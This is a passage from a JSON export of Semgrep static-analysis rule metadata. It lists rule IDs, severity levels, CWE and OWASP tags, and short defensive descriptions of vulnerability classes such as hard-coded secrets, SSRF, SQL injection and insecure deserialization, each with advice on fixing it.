(HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","id":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","name":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","id":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","name":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false","id":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","name":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-http-false.taint-cookie-http-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe API Key detected"},"help":{"markdown":"Stripe API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","id":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","name":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","id":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","name":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"help":{"markdown":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST').\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping)\n - [https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING](https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING)\n","text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"helpUri":"https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","id":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","name":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod","id":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","name":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostpid-pod.hostpid-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection","id":"javascript.express.security.express-vm2-injection.express-vm2-injection","name":"javascript.express.security.express-vm2-injection.express-vm2-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm2-injection.express-vm2-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","id":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","name":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","id":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","name":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","id":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","name":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","id":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","name":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","id":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","name":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill","id":"python.lang.deserialization.tainted-dill.tainted-dill","name":"python.lang.deserialization.tainted-dill.tainted-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-dill.tainted-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","id":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","name":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent 